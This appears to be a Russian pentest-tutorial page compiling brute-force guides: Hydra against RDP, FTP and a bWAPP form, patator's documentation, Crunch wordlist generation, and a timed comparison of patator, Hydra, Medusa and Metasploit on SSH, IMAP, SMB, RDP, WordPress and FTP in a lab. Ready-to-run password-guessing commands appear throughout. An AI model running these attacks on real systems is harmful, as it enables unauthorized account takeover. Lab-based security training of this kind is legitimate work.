- Скрипт Брутим RDP с помощью Hydra [kali]
- marchelas
- marchelas
- Инструменты Kali Linux
- Список инструментов для тестирования на проникновение и их описание
- patator
- Описание patator
- Особенности patator
- Справка по patator
- Ключевые слова, действия и условия, сбои
- Генерация словаря
- Crunch
- Patator
- Hydra
- Medusa
- Metasploit
- Patator
- Hydra
- Medusa
- Metasploit
- Patator
- Hydra
- Medusa
- Metasploit
- Patator
- Patator
- Hydra
- Medusa
- Metasploit
- Patator
- Hydra
- Metasploit, Medusa
- Оставить комментарий Отменить ответ
Скрипт Брутим RDP с помощью Hydra [kali]
marchelas
Мамкин хацкер
marchelas
Мамкин хацкер
Для операционных систем Windows по умолчанию используется протокол RDP для удаленного управления. Стандартный порт в этом случае — 3389. Его также можно брутить с Hydra. Для этих целей команда выглядит вот так:
hydra -t 4 -V -L login -P pass -f rdp://192.168.10.10
-t количество потоков.
Брутим FTP с помощью Hydra
Для передачи файлов по сети используется протокол FTP. Стандартный порт — 21. Команда для атаки:
hydra -t 4 -V -L login -P pass -f ftp://192.168.30.30
Но, например, бывают случаи, когда стандартный порт изменен и тогда можем указать с помощью параметра -s:
hydra -s 211 -t 4 -V -L login -P pass -f 192.168.30.30 Как брутить веб-формы?
На достаточно простом примере можно продемонстрировать, как работать с веб-формами. Для примера возьмем простую форму авторизации bWAPP. Каждый из вас сможет развернуть эту виртуальную машину и попробовать ее покрутить. Итак, нас интересует авторизационная форма.
Для того чтобы ввести необходимые параметры, необходимо перейти в режим разработчика и посмотреть на форму. Для этого нажимаем F12 в Chrome, и вводим данные в форму и отправляем запрос. В разделе Network мы получим всю необходимую информацию.
Видим, что в качестве логина и пароля мы передали значение «2». Но для гидры, нам нужно будет их изменить и вставить параметры ^USER^ и ^PASS^ соответственно.
Ошибка при вводе неправильного пароля
Этой информации будет достаточно для Hydra. Теперь давай все найдем и подберем необходимый пароль. Для этого нужно использовать аналогичную команду, но с дополнительными опциями.
hydra -V -L login — P pass -f 192.168.10.20 http-post-form -m «/bWAPP/login.php:login=^USER^&password=^PASS^&security_level=0&form=submit: F=Inavlid credentials»
http-post-form указываем тип формы (Request Method);
-m «указываем путь к форме:саму форму:F=Ошибка, при вводе неправильного пароля»
Источник
Инструменты Kali Linux
Список инструментов для тестирования на проникновение и их описание
patator
Описание patator
Patator – это многоцелевой брут-форсер, с модульным дизайном и гибким использованием.
Patator был написан из-за неудовлетворённости от работы с Hydra, Medusa, Ncrack, модулями Metasploit и скриптами NSE Nmap, которые применяются для атак по угадыванию паролей. Автор patator выбрал другой подход, чтобы не создавать ещё один инструмент по брутфорсу, который бы повторял те же самые недостатки. Patator — это многопоточный инструмент, написанный на Python, который стремиться быть более надёжным и гибким, чем его коллеги предшественники.
Неудовлетворённость существующими программами была вызвана следующими их недостатками:
- они не работают или работают ненадёжно (несколько раз в прошлом они выдавали ложноотрицательные результаты)
- они недостаточно гибкие (как сделать перебор по всем спискам слов, подставить любой параметр модуля)
- у них отсутствуют полезные функции (отображение прогресса или пауза во время выполнения)
Patator — это НЕ дружелюбный для новичков инструмент. Чтобы грамотно его использовать нужно изучить доступные примеры.
В настоящее время поддерживаются следующие модули:
- ftp_login : Брут-форс FTP
- ssh_login : Брут-форс SSH
- telnet_login : Брут-форс Telnet
- smtp_login : Брут-форс SMTP
- smtp_vrfy : Перечисление валидных пользователей с использованием SMTP VRFY
- smtp_rcpt : Перечисление валидных пользователей с использованием SMTP RCPT TO
- finger_lookup : Перечисление валидных пользователей с использованием Finger
- http_fuzz : Брут-форс HTTP
- ajp_fuzz : Брут-форс AJP
- pop_login : Брут-форс POP3
- pop_passd : Брут-форс poppassd (http://netwinsite.com/poppassd/)
- imap_login : Брут-форс IMAP4
- ldap_login : Брут-форс LDAP
- smb_login : Брут-форс SMB
- smb_lookupsid : Брут-форс SMB SID-lookup
- rlogin_login : Брут-форс rlogin
- vmauthd_login : Брут-форс демона аутентификации VMware
- mssql_login : Брут-форс MSSQL
- oracle_login : Брут-форс Oracle
- mysql_login : Брут-форс MySQL
- mysql_query : Брут-форс запросов MySQL
- rdp_login : Брут-форс RDP (NLA)
- pgsql_login : Брут-форс PostgreSQL
- vnc_login : Брут-форс VNC
- dns_forward : Прямой поиск DNS
- dns_reverse : Обратный поиск DNS
- snmp_login : Брут-форс SNMP v1/2/3
- ike_enum : Перечисление преобразований IKE
- unzip_pass : Брутфорс паролей зашифрованных файлов ZIP
- keystore_pass : Брутфорс паролей файлов хранилища ключей Java
- sqlcipher_pass : Брутфорс паролей баз данных SQL с шифрованием Cipher
- umbraco_crack : Взлом хешей паролей Umbraco HMAC-SHA1
- tcp_fuzz : Фаззинг TCP служб
- dummy_test : Модуль тестирования
Модули, которые будут реализованы в будущем:
- rdp_login с/без NLA
Особенности patator
- Нет ложных срабатываний, поскольку в своих решениях, игнорировать ли результат, программа основывается на:
- коде статуса ответа
- размере ответа
- совпадении строки или резулярного выражение в ответе
- …смотрите —help
- модульный дизайн
- не ограничена сетевыми модулями (например, есть модуль unzip_pass)
- не ограничена брут-форсингом (например, есть удалённое тестирование эксплойтов или зондирование уязвимой версии)
- интерактивное выполнение
- показ прогресса во время выполнения (нажмите Enter)
- пауза/возобновление выполнения (нажмите p)
- увеличить/уменьшить вербальность
- добавить новые действия и условия во время работы программы (например, для исключения большего типа ответов из показа)
- …нажмите h, чтобы увидеть все доступные интерактивные команды
- Использование постоянных соединений (например, будет протестировано несколько паролей до разъединения с сервером)
- Многопоточность
- Гибкий пользовательский ввод
- Могут быть подставлены любые параметры:
- используйте ключевое слово FILE для перебора файлов
- используйте ключевое слово COMBO для перебора по комбинированным файлам
- используйте ключевое слово NET для перебора каждого хоста сети, подсети
- используйте ключевое слово RANGE для перебора шестнадцатеричных, десятичных или алфавитных диапазонов
- используйте ключевое слово PROG для перебора вывода внешних программ
- Может быть сделан перебор по объединённым спискам слов в любом порядке
- Сохраните каждый ответ (во время запроса) в отдельные файлы журналов для дальнейшего изучения
Автор: Sebastien MACKE
Справка по patator
Информация об использовании:
Есть глобальные опции и опции модулей:
Все опции модулей поддерживают подстановку:
Ключевые слова (FILE, COMBO, NET, …) играют роль заполнителей. Они служат индикатором типов списков слов и показывают, куда нужно подставить вместо них настоящие слова для тестирования.
Каждое ключевое слово имеет номер для того, чтобы:
- соответствовать должному списку слов
- и показать в каком порядке делать перебор по всем словарям
Например, это будет классический порядок:
А ведь было бы более разумно:
Доступные интерактивные команды
Ключевые слова, действия и условия, сбои
Ключевые слова
Брут-форс списка хостов с файлом, содержащим комбинированные записи (каждая строка => login:password).
Сканирование подсети просто чтобы собрать баннеры версий.
Подстановка параметров, полученных перебором диапазона величин.
Подстановка параметров, полученных перебором вывода внешней программы.
Действия и условия
Используйте опцию -x для указания действия во время получения ожидаемого результата. Например:
Чтобы игнорировать ответы с кодом статуса 200 И размером в заданном диапазоне.
Чтобы игнорировать ответы с кодом статуса 500 ИЛИ содержащем «Internal error».
Помните, что условия объединяются логическим И внутри одной опции -x, если использовано несколько опций -x, то они объединяются логическим ИЛИ.
Сбои
Во время выполнения могут случаться сбои (фейлы), к примеру, такие как таймаут соединения TCP. По определению, сбой — это исключение, которое модуль не ожидал и, как результат, исключение перехватывается вышестоящим контроллером. Такие исключения или сбои не сообщаются немедленно пользователю, контроллер будет пробовать ещё 4 раза (смотрите —max-retries) перед сообщение пользователю о сбое в работе с уровнем журналирования «FAIL«.
Источник
Генерация словаря
Crunch
Словарь с пользователями мы взяли небольшой и записали в него 4 пользователя.
Для составления словаря используется Crunch, как встроенное средство. Инструмент гибкий и может составить словарь по определенной маске. Если есть вероятность того, что пользователь может использовать словарный пароль, то лучше воспользоваться уже готовыми решениями, тем более, что, как показывает практика, самый популярный пароль – 123456.
Генерировать словарь будем на 5 символов по маске. Данный метод подходит для случаев, когда мы имеем представление о структуре пароля пользователя.
crunch 5 5 qwe ASD 1234567890 -t @@,%@ -o /root/wordlist.txt
5 – минимальное и максимальное количество символов;
qwe, ASD, 1234567890 – используемые символы;
-t – ключ, после которого указывается маска для составления пароля;
@ – нижний регистр;
, – верхний регистр;
% – цифры.
Сразу отметим, что на первых этапах мы будем для каждого инструмента описывать используемые ключи, но далее те же самые ключи уже не будут рассматриваться подробно, поскольку они крайне похожи друг на друга, а значит, имеют аналогичный синтаксис.
Patator
patator ssh_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:mesg=’Authentication failed’
ssh_login – модуль;
host – наша цель;
user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора;
password – словарь с паролями;
-x ignore:mesg=’Authentication failed’ – не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально.
Все инструменты мы тестируем с количеством потоков по умолчанию, никаким образом их количество не изменяем.
Patator справился ровно за 7 минут 37 секунд, перебрав 2235 вариантов.
Hydra
hydra -f -L /root/username -P /root/wordlist.txt ssh://192.168.60.50
-f – остановка перебора после успешного подбора пары логин/пароль;
-L/-P – путь до словаря с пользователями/паролями;
ssh://IP-адрес – указание сервиса и IP-адреса жертвы.
Hydra затратила на перебор 9 минут 11 секунд.
Medusa
medusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M ssh
-h – IP-адрес целевой машины;
-U/-P – путь к словарям логинов/паролей;
-М – выбор нужного модуля.
Medusa за 25 минут обработала только 715 комбинаций логин/пароль, поэтому данный инструмент не лучший выбор в случае с брутфорсом SSH.
Metasploit
Произведем поиск инструмента для проведения brute-force атаки по SSH:
search ssh_login
Задействуем модуль:
use auxiliary/scanner/ssh/ssh_login
Для просмотра необходимых параметров воспользуемся командой «show options». Для нас это:
rhosts – IP-адрес жертвы;
rport – порт;
user_file – путь до словаря с логинами;
pass_file – путь до словаря c паролями;
stop_on_success – остановка, как только найдется пара логин/пароль.
По умолчанию Metasploit использует 1 поток, поэтому и скорость перебора с использованием этого модуля очень низкая. За 25 минут так и не удалось подобрать пароль.
Patator
patator imap_login host=192.168.100.109 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=1
imap_login – используемый модуль;
-x – параметр, который помогает фильтровать ответы от Patator. В данном случае игнорируем ответы с кодом 1.
Параметр х является уникальным для каждого конкретного случая, поэтому рекомендуется сначала запустить инструмент без него и посмотреть какие ответы в основном приходят, чтобы затем их игнорировать.
В итоге Patator смог подобрать пароль за 9 минут 28 секунд, что является практически тем же самым показателем, что и в случае с SSH.
Hydra
hydra -f imap://192.168.60.50 -L /root/username -P /root/wordlist.txt
Hydra справилась за 10 минут 47 секунд, что довольно неплохо.
Medusa
В связи с тем, что на сервере использовался самоподписанный сертификат, Medusa выдавала ошибку, исправить которую настройками инструмента не удалось.
Metasploit
В Metasploit не удалось подобрать подходящий модуль для брутфорса IMAP.
Patator
При использовании Patator появилось большое количество ложных срабатываний.
Hydra
hydra -L /root/username -P /root/wordlist.txt 192.168.60.50 smb
Благодаря своим алгоритмам Hydra справилась с задачей всего за 5 секунд.
Medusa
medusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M smbnt
Запуская перебор, я ожидал результатов, схожих с предыдущими, но на этот раз Medusa меня приятно удивила, отработав за считанные секунды.
Metasploit
С помощью поиска search smb_login находим нужный модуль scanner/smb/smb_login и применяем его.
Необходимо указать параметры:
RHOSTS – IP-адрес жертвы;
USER_FILE – словарь с пользователями;
PASS_FILE – словарь с паролями;
STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль.
Metasploit справился с задачей за 1 минуту.
Patator
patator rdp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=132
К сожалению, на данный момент из тестируемых инструментов только Patator может подбирать логин/пароль для RDP-протокола. При этом, даже если Patator и справился с поставленной задачей, в выводе дополнительно появилось ложное срабатывание.
Для начала нам необходимо понять, как происходит процесс аутентификации.
Для этого нужно отправить тестовые запросы аутентификации и уже из поведения веб-приложения можно будет увидеть, что неверный пароль возвращает код ответа 200, а успешная аутентификация — 302. На эту информацию и будем опираться.
Patator
Учитывая ответы веб-приложения на тестовые запросы, составим команду для запуска Patator:
patator http_fuzz url=http://site.test.lan/wp-login.php method=POST body=’log=FILE0&pwd=FILE1&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1′ 0=/root/username 1=/root/wordlist.txt before_urls=http://site.test.lan/wp-login.php -x ignore:code=200 accept_cookie=1
http_fuzz – модуль для brute-force атаки HTTP;
url – адрес страницы с аутентификацией;
FILE0 – путь до словаря с паролями;
body – информация, которая передается в POST запросе при аутентификацией;
-x – в данном случае мы указали команду не выводить на экран сообщения, содержащие параметр с кодом 200;
accept_cookie – сохранение параметра cookie и передачи его в следующий запрос;
Итог — нам удалось подобрать пароль чуть менее, чем за 30 секунд, что очень быстро.
Hydra
Как мы уже знаем, при неверной аутентификации возвращается код 200, а при успешной — 302. Воспользуемся этой информацией и выполним команду:
hydra -f -L /root/username -P /root/wordlist.txt http-post-form://site.test.lan -m «/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1:S=302»
Здесь мы указываем обязательные параметры:
-f – завершить перебор после получения валидной пары логин/пароль;
-L – словарь с пользователями;
-P – словарь с паролями;
http-post-form – тип формы (в нашем случае POST);
/wp-login.php – URL страницы с аутентификацией;
^USER^ – показывает куда подставлять имя пользователя;
^PASS^ – показывает куда подставлять пароль из словаря;
S=302 – указание на какой ответ опираться Hydra (в нашем случае — ответ 302 при успешной аутентификации).
Успех ожидал нас уже через 3 минуты 15 секунд.
Medusa
medusa -h site.test.lan -U /root/username -P /root/wordlist.txt -M web-form -m FORM:»/wp-login.php» -m FORM-DATA:»post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1″
К сожалению, при попытках перебора пароля Medusa выдает ошибку «Segmentation fault».
Metasploit
С помощью поиска search wordpress_login находим нужный модуль auxiliary/scanner/http/wordpress_login_enum и применяем его. Необходимо указать параметры:
PASS_FILE – словарь с паролями;
RHOSTS – адрес жертвы;
STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль;
USER_FILE – словарь с пользователями;
VALIDATE_USERS – отключить проверку существования учетной записи пользователя;
VERBOSE – отключить лишний вывод;
VHOST – доменное имя атакуемого сайта.
Затраченное время — 32 секунды.
Patator
patator ftp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=530
В данном модуле Patator работает уже медленнее, чем с Web-формами, а пароль был подобран за 11 минут 20 секунд.
Hydra
hydra -f -L /root/username -P /root/wordlist.txt ftp://192.168.60.50
Работая по умолчанию в 16 потоков, Hydra смогла перебрать пароли за 7 минут 55 секунд.
Metasploit, Medusa
В Metasploit используем модуль auxiliary/scanner/ftp/ftp_login
В случае с Medusa запрос выглядит следующим образом:
medusa -f -M ftp -U /root/username -P /root/wordlist.txt -h 192.168.60.50
Все параметры стандартные, указываем путь до словарей и обязательно ставим завершение перебора после найденной пары логин/пароль.
С этим протоколом, как и c SSH, Metasploit и Medusa плохо справляются при стандартном количестве потоков. Поэтому если есть желание использовать именно эти инструменты, то необходимо вручную увеличивать количество потоков. Но и тут не все так просто. В однопоточном режиме FTP-сервер при использовании этих инструментов, сбросил соединение, чего не наблюдалось при использовании Patator или Hydra. Поэтому есть вероятность, что увеличение количества потоков не изменит ситуацию.
Протестировав разные, но в то же время похожие инструменты на различных сервисах, можно сказать, что у каждого из них есть как достоинства, так и недостатки, а с каким инструментом работать — решать только вам.
Ниже представлена сводная таблица с полученными результатами:
P.S. Потренироваться можно в наших лабораториях lab.pentestit.ru.
Оставить комментарий Отменить ответ
Для отправки комментария вам необходимо авторизоваться.
Источник